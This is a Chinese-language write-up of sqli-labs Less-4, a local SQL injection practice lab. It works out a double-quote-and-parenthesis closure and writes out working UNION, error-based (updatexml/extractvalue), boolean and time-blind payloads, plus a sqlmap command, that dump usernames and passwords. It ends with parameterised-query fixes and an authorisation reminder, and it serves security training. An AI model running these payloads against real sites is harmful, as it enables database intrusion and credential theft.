1. 为什么Less-4看起来像Less-1,却能卡住一批人
1.1 先复习一下前三关的闭合方式
sqli-labs这个靶场,刷到第四关的人,大概率已经从Less-1一路踩过来了。前三关分别代表三种最常见的SQL注入闭合形态:Less-1是单引号字符型注入,SQL语句大概长这样WHERE id='$id',你输入1'会报错,输入1' --+就能闭合掉;Less-2是数字型注入,直接拼数字,不用闭合;Less-3是单引号加括号的变形,需要构造1')才能闭合。
很多人在Less-3的时候就已经有点绕了,因为报错信息里能看到一个右括号,提示你这关多了括号。到了Less-4,又换了。
但问题来了:Less-4的页面,你输入1'的时候,报错信息长得和Less-1、Less-3都很像,都是MySQL的语法错误提示。很多新手这时候就懵了,觉得"既然报错格式都一样,那是不是按Less-1的玩法直接1' --+就能过?"——然后发现不行,页面没有任何变化,既不报错也不回显数据,跟卡住了一样。
这其实是整个系列笔记里我最想强调的一点:报错信息长得像,不代表底层SQL结构一样。你必须在报错信息里找细节,而不是只看"有没有报错"这个表面结果。
1.2 Less-4的报错信息里藏着真相
Less-4在浏览器里的表现,我不止一次看到群友截图问"为什么我按Less-1的方法不行"。我把当时的完整报错贴出来,你们感受一下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1注意看引号位置。这个报错的尾部是'"1"") LIMIT 0,1',里面出现了两个连续的双引号,也就是"",紧接着一个右括号)。这个细节非常关键。
Less-1的报错尾部是''1'' LIMIT 0,1',里面是单引号的重复。Less-3的报错尾部是''1'') LIMIT 0,1',单引号加括号。而Less-4的报错尾部是'"1"") LIMIT 0,1',双引号加括号。
所以,从报错信息里实际能看到三样东西:
- 双引号是闭合字符之一,这意味着源码里用的是
"$id"而不是'$id'。 - 双引号后面跟了一个右括号,说明SQL语句里还有一层括号包裹。
- 整个结构大概长这样:
WHERE id=("$id")。
有经验的师傅看一眼报错就知道这关怎么打,但新手往往只看到了"SQL语法错误",直接跳过细节去猜payload,这就是Less-4卡人的核心原因。你不需要背payload,你需要的是从报错里读出数据库给你留的提示。
1.3 判断闭合类型的标准思路
从Less-1到Less-4,我总结了一套手工判断闭合类型的流程,这套流程后面刷Less-5、Less-6甚至其他靶场都能复用:
第一步,输入一个单引号',观察页面是报错、是正常、还是空白。 第二步,输入一个双引号",同样观察三种结果。 第三步,输入一个单引号加右括号'),再观察。 第四步,输入双引号加右括号"),再观察。
把这四次的响应对比一下,就能确定闭合方式。Less-4的测试结果很明显:输入'报错,输入"报错,输入')报错,输入")页面正常且能回显数据。那闭合字符就是")。
这里有个实操小技巧:测试的时候,最好在URL里分别尝试?id=1'、?id=1"、?id=1')、?id=1"),不要凭感觉一次到位,也不要只测一个就下结论。因为有的关卡可能同时存在括号和引号的组合,你不把所有候选都试一遍,很容易把"单引号闭合"和"单引号加括号闭合"搞混。
2. 源码视角:双引号加括号的SQL拼接到底长什么样
2.1 从报错反推SQL语句结构
既然确定了Less-4是双引号加括号闭合,那我们可以反推一下后端PHP代码里的SQL语句。如果你看过sqli-labs的源码,Less-4的核心逻辑大概是这样的:
$id = $_GET['id']; $sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1"; $result = mysqli_query($con, $sql);注意看,这里用的是双引号字符串把$id包起来,外面又套了一层圆括号。MySQL的语法中,双引号和单引号在字符串字面量上是等价的(取决于SQL模式),所以("$id")在SQL里就是一个字符串类型的比较。
当你输入?id=1"的时候,拼接出来的SQL是:
SELECT * FROM users WHERE id=("1"") LIMIT 0,1MySQL解析到"1""的时候,前两个双引号把1包成了一个完整字符串,后面那个独立的双引号就成了语法错误的来源,于是报错信息里出现了'"1"")'这样的片段。
当你输入?id=1") --+的时候,拼接出来的SQL是:
SELECT * FROM users WHERE id=("1") -- ") LIMIT 0,1这里的--把后面的内容注释掉了,整条SQL语句变成:
SELECT * FROM users WHERE id=("1")等于说$id变成了1"),成功闭合了双引号和右括号,后面的") LIMIT 0,1全被注释掉,SQL语句语法正确,正常执行。这就是为什么?id=1") --+能直接过关。
2.2 为什么双引号注入比单引号注入更容易被忽略
老实说,双引号注入在真实环境里比单引号少见,但绝对不是不存在。很多开发者心里有一个固有印象:"我只要把用户输入里的单引号过滤掉,SQL注入就防住了。"这种想法是最危险的。
原因是PHP里的字符串拼接习惯。有些老项目用双引号字符串包SQL语句,手一抖就把变量直接拼进去了,比如:
$sql = "SELECT * FROM users WHERE name=\"$name\"";这种写法如果$name是用户可控的,那么双引号就是一个完美的利用点。而且说实话,很多WAF规则和开发者的安全意识都集中在单引号上,双引号反而成了一个盲区。Less-4模拟的正是这种"只想着防单引号、没防双引号"的开发疏忽。
另外一个值得说的点是,浏览器在URL里直接传双引号是没有问题的,你不需要做额外的URL编码。但如果你用Burp Suite或HackBar测,有时工具会自动做URL编码,%22就是双引号的URL编码形式,这点需要留意,不然你看到的payload和实际发送的payload不一致,容易产生误判。
2.3 "推断—验证—利用"三步法
我在前面几篇笔记里反复强调过一个套路:先推断,再验证,最后利用。拿到一个注入点,不要急着上sqlmap,先手工走一遍:
推断阶段:根据报错信息判断闭合字符的类型。Less-4的报错里出现了双引号和右括号,所以推断闭合是")。验证阶段:用最保守的payload验证推断是否正确。输入?id=1") --+,如果页面正常显示id=1的数据,说明闭合无误。再利用阶段:闭合确认后,开始ORDER BY、UNION SELECT或布尔盲注。
这套方法在Less-4上特别管用,因为双引号闭合不太常见,很多人会惯性思维地按单引号处理。你用三步法强制自己走一遍,每一步都拿到明确的响应结果,基本不会跑偏。
这里额外提一个我在实测中遇到的坑:有些版本的sqli-labs在MySQL严格模式下,双引号字符串的判断行为会有细微差异。如果遇到?id=1"不报错、但?id=1'反而报错的情况,不要惊讶,先确认你本地MySQL的sql_mode配置。默认情况下MySQL把双引号当字符串字面量处理,和单引号等价,所以正常按上面的流程走就行。
3. 手工注入完整实操:从闭合到拖库的七个步骤
3.1 第一步:确定闭合字符
这个前面已经讲了,Less-4的闭合字符是")。我们直接进入下一步的实操验证,URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=1") --+浏览器返回正常,页面显示Your Login name: Dumb和Your Password: Dumb,说明闭合成功。
这里有一个细节:注释符后面那个加号+在URL里的作用是代表空格。因为HTTP请求中,URL里的空格会被编码成%20或者+,而MySQL的注释符--后面必须跟一个空格才能生效,所以--+实际上就是--的意思。如果你写的不是--+而是--,MySQL会认为--后面没有空格,注释不一定生效,导致payload失败。
3.2 第二步:用ORDER BY探测列数
闭合确认之后,第一步永远是确认SELECT查询的列数。我用ORDER BY从1开始逐步往上加:
http://127.0.0.1/sqli-labs/Less-4/?id=1") ORDER BY 3 --+页面正常,说明至少3列。
http://127.0.0.1/sqli-labs/Less-4/?id=1") ORDER BY 4 --+页面报错,说明只有3列。
这个探测原理很简单:ORDER BY n是让结果集按第n列排序。如果n大于实际列数,MySQL会报"Unknown column '4' in 'order clause'"。所以从1试到报错为止,最后一个正常的数字就是列数。
这里我建议直接二分探测,比如先ORDER BY 5,如果正常说明列数大于等于5,再往上加;如果报错则说明小于5,再往回减。这样能少发几次请求。不过靶场里请求本来就快,新手老老实实从1加也行,顺便体会一下报错的变化过程。
3.3 第三步:联合查询定位回显点
知道了列数是3,接下来用UNION SELECT定位页面上哪些位置会回显查询结果。先把id改成不存在的负数,让前面的查询结果为空,然后用UNION SELECT 1,2,3:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,2,3 --+页面显示Your Login name: 2和Your Password: 3。这说明第2列和第3列的数据会回显在页面上,第1列不回显。
这里为什么要用负数id?因为MySQL的UNION查询默认取第一个SELECT的结果作为字段名,如果没有匹配的数据,才会显示第二个SELECT的结果。id=-1不存在,相当于强制让第一个SELECT返回空集,这样第二个SELECT的数据就能显示出来。如果你用?id=1") UNION SELECT ...,页面会显示id=1的数据,UNION的结果被覆盖掉,你会误以为联合查询没生效。
定位回显点的意义在于:你要把你想要的数据放在第2列或第3列的位置,这样页面才会打印出来。Less-4比较友好,回显位直接可见。如果页面完全没有回显位,就只能考虑报错注入、布尔盲注或时间盲注了,这部分我在后面展开。
3.4 第四步到第七步:爆库名、爆表名、爆字段名、爆数据
回显点确定后,剩下的就是套模板。
先拿当前数据库名:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,database(),3 --+页面显示Your Login name: security,当前数据库名是security。
再拿这个库里所有的表:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+页面会列出security库下所有的表,比如emails、referers、uagents、users等。这里用group_concat()把多行结果拼成一行,方便一次性显示。
然后拿users表里的所有字段:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' --+注意这里table_name='users'用的是单引号,不要把它和前面的双引号闭合搞混。双引号是闭合外层SQL的,单引号是查询条件里的字符串字面量,两者互不干扰。
页面返回users表的字段:id、username、password。
最后直接查数据:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users --+这里0x3a是冒号的十六进制表示,用来分隔username和password,让结果更易读。页面会列出users表里所有用户名和密码的键值对。
到这里,Less-4的手工注入流程就完整走通了。跟Less-1相比,除了闭合字符从'变成了"),后面所有的步骤完全一样。这也再次证明了:SQL注入的核心不在于背payload,而在于识别闭合结构。
4. 报错注入、盲注和工具的扩展打法
4.1 为什么重点是updatexml和extractvalue
联合查询虽然好用,但它有一个硬性前提:页面必须有回显位。万一后端把查询结果直接做逻辑判断,不输出到页面上,联合查询就没辙了。这个时候报错注入就派上用场。
Less-4页面在报错时会直接输出MySQL的错误信息,这意味着我们完全可以利用这个特性做报错注入。原理很简单:让MySQL在执行查询的时候,把我们想要的数据塞进报错信息里,页面就会把报错信息打印出来。
我实测过两个最常用的函数:updatexml和extractvalue。
updatexml的用法:
http://127.0.0.1/sqli-labs/Less-4/?id=1") AND updatexml(1,concat(0x7e,database(),0x7e),1) --+extractvalue的用法:
http://127.0.0.1/sqli-labs/Less-4/?id=1") AND extractvalue(1,concat(0x7e,database(),0x7e)) --+两种写法都会触发一个XPath解析错误,错误信息里带着~security~这样的内容,0x7e是波浪号~,用来标记数据的起始和结束位置。因为XPath表达式格式非法,MySQL会把整个表达式内容原样回显到错误信息里。
这里有个常见坑:报错信息有个长度限制,大概是32个字符左右。如果你直接group_concat(table_name),表名一多就会截断,导致只能看到前半部分。解决办法是用substr()分批次取:
http://127.0.0.1/sqli-labs/Less-4/?id=1") AND updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,20),0x7e),1) --+用substr(字符串, 起始位置, 截取长度)每次取20个字符,多跑几次,把数据拼完整。很多新手第一次用报错注入发现数据不完整,就以为是姿势不对,其实是没搞懂截断这个特性。
4.2 布尔盲注和时间盲注的手工写法
如果报错信息也被屏蔽了,页面只剩"正常"和"异常"两种状态,那就得上盲注。Less-4虽然本身有报错回显,但作为练习,用它来练盲注思路同样有价值。
布尔盲注的核心思路是:构造一个条件判断,如果为真页面正常,为假页面异常。Less-4的payload长这样:
http://127.0.0.1/sqli-labs/Less-4/?id=1") AND ascii(substr((select database()),1,1))>100 --+如果当前数据库名的第一个字符的ASCII码大于100,页面正常;否则页面空白或者显示不同内容。通过二分法不断调整比较值,就能逐字猜出数据。
时间盲注在此基础上更进一步,把条件真假放到SLEEP()函数里:
http://127.0.0.1/sqli-labs/Less-4/?id=1") AND if(ascii(substr((select database()),1,1))>100,sleep(3),0) --+条件为真时数据库会休眠3秒再返回,条件为假时立即返回。你在Burp Suite或者浏览器里观察响应时间就能判断条件真假。
这里给个实际建议:手工盲注非常折磨人,而且很容易出错。Less-4作为练习,你只要明白"为什么能盲注""payload背后的逻辑是什么"就行,真正大批量猜数据还是建议写脚本。Python的requests库循环发请求,每猜一个字符最多8次请求(因为是8位二进制),配合二分法能把效率提高不少。我当年练盲注的时候写过一个几十行的脚本,每次跑完看它逐字打印出库名,那种感觉真的会上瘾。
4.3 sqlmap一把梭的理解与误区
关卡刷到这里,很多人会想:sqlmap一把梭不就行了?确实,Less-4这种经典靶场,sqlmap跑得飞快:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbs --batchsqlmap会自动探测出这是双引号加括号闭合,然后自动注入。跑完库名跑表名,跑完表名跑字段名,最后--dump直接导出所有数据。
但我还是要多说一句:**如果你只会sqlmap一把梭,Less-4对你来说跟Less-1没有任何区别,因为你根本没搞清楚这关在考什么。**sqlmap是一个验证工具,不是一个学习工具。它的价值在于"我知道了这里是双引号闭合,我用工具试试能不能直接出数据",而不是"我不知道闭合方式,工具告诉我了"。
我在带新人刷靶场的时候,要求是必须先手工把闭合判断、列数探测、回显定位、数据提取完整走一遍,跑通了再用sqlmap复核结果。这样既加深了对注入原理的理解,也知道sqlmap的输出到底是怎么来的。等你手工流程烂熟于心,sqlmap只是锦上添花。
5. 站在防御角度重新看这个漏洞
5.1 三种修复方案及效果对比
Less-4的漏洞根源只有一个:用户输入直接拼接进了SQL语句。修复思路也就是围绕"如何防止拼接"展开。我整理了三套方案,从最推荐到最不推荐排列。
首选方案是预编译,也叫参数化查询。用PDO的预处理语句,SQL语句结构提前固定,用户输入只作为参数传递,永远不可能改变SQL语义:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);这套方案对单引号、双引号、括号、注释符统统免疫,因为参数化的值不会被当作SQL代码解析,数据库只把它当字符串字面量处理。这也是现在主流框架默认的做法,Laravel的查询构造器、ThinkPHP的参数绑定,底层都是这个原理。
次选方案是输入校验和过滤。比如使用intval()强转整数:
$id = intval($_GET['id']); $sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1";Less-4的id本身是数字,用intval()直接把它变成纯数字,双引号注入就无从谈起了。但这种方法只适用于特定数据格式,如果输入本身是字符串(比如用户名、搜索关键词),你不能无脑强转,只能做转义和过滤。
最后的备选方案是黑名单过滤。把单引号、双引号、括号、注释符等一网打尽。缺点也很明显:攻击者会想方设法绕过,比如用十六进制编码、内联注释、大小写变形等。黑名单永远是防守方的下策,因为你没法穷举所有攻击载荷。
5.2 这个关卡在真实场景中的映射
有人可能会觉得,这种("$id")的SQL写法是靶场故意设计出来的,真实世界根本不存在。这个想法不对。
我举个真实场景:很多老旧的PHP管理系统,尤其是2015年之前的项目,代码里用双引号字符串写SQL语句的比例相当高。开发者的习惯是"外层用双引号,内层变量用单引号包",比如:
$sql = "SELECT * FROM product WHERE code=\"$code\"";如果$code是用户从查询参数里直接带入的,没有经过任何过滤和预编译,那就是Less-4的翻版。而且这种场景比单引号注入更隐蔽,因为很多安全扫描器和WAF规则的第一优先级是检测单引号。你输入双引号,WAF可能根本没反应。
还有一个映射场景是JSON API。现在很多后端接口用JSON传参,解码之后的值可能包含双引号。如果后端拿到这个值直接拼SQL,同样会形成双引号闭合问题。所以Less-4不是过时的靶场关卡,它映射的是一个长期存在、且容易被安全盲区覆盖的漏洞类型。
5.3 刷靶场的最优顺序和心态
作为一个把sqli-labs从头到尾刷过好几轮的人,我最后聊聊学习路径。
Less-1到Less-4,看起来只是闭合方式不同,但它们对应的核心能力是"闭合识别"。如果你能不看任何writeup,从报错信息、页面响应、数据特征里判断出这些闭合类型,那就说明你已经初步掌握了SQL注入的思维框架。Less-5到Less-6会考你报错注入和盲注,Less-7到Less-10考文件读写和更复杂的闭合,Less-11开始进入POST注入,Less-23以后考过滤绕过。每一关都是在前面的基础上叠加新的知识点。
所以我的建议是:Less-1到Less-4一定要手写payload过关,不要开工具,不要看writeup。遇到卡关,先自己分析报错信息,把能想到的闭合方式都试一遍,哪怕试错了也是收获。如果你能做到不看任何提示,从Less-1一口气手写到Less-4,再回头看这篇笔记,你会发现所有内容都是你已经踩过一遍的路径。
刷靶场的时候还有几个心态问题值得说。
一是不要追求"秒杀",sqli-labs的价值在于让你体会不同类型的SQL语句结构,而不是让你炫耀速度。二是不用总想着把每一关的每一个注入方式都试全,那会消耗大量精力,反而抓不住重点。三是一定要在练习的同时建立防御视角,知道这个漏洞是怎么产生的、后端代码哪里写得不严谨、你会怎么修,这样才能从"会打"变成"懂安全"。
我在实际带项目的时候,经常用Less-4这类案例给开发团队做安全培训,因为它的代码量极小、问题清晰、复现简单,是讲"为什么不能拼接SQL"的最好教材。每次讲完,总有开发同事恍然大悟:原来双引号也能注入,原来我写的代码里就有这种问题。
最后提醒一句,不管是在靶场练习还是在真实环境中做安全测试,都要在授权范围内进行。sqli-labs是本地靶场,随便折腾;线上环境一定要先拿到书面授权再动手,这是安全从业者最基本的职业底线。